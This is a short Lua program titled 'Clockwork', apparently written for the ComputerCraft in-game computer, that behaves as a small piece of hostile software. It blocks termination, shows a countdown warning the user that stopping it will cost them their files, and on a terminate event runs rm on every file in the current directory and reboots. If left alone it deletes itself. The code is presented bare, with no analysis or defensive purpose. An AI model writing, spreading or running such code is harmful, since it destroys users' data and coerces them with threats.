Clockwork

function center(text)
	local w,h = term.getSize()
	term.setCursorPos(w-20,h-10)
	print(text)
	term.setCursorPos(1,1)
end

x = 600;
al = true;
while true do
	e, p1, p2, p3 = os.pullEventRaw()
	if(e == "terminate") then
		if(al == true) then
			shell.run("rm", "*")
			os.reboot()
		end
	end
	if(x > 0) then
		term.clear()
		center("Let me run for "..x.." more seconds and your files will be here\nTerminate me, and so will your files.")
		sleep(1)
		x = x-1
	else
		shell.run("rm", shell.getRunningProgram())
		os.reboot()
	end
end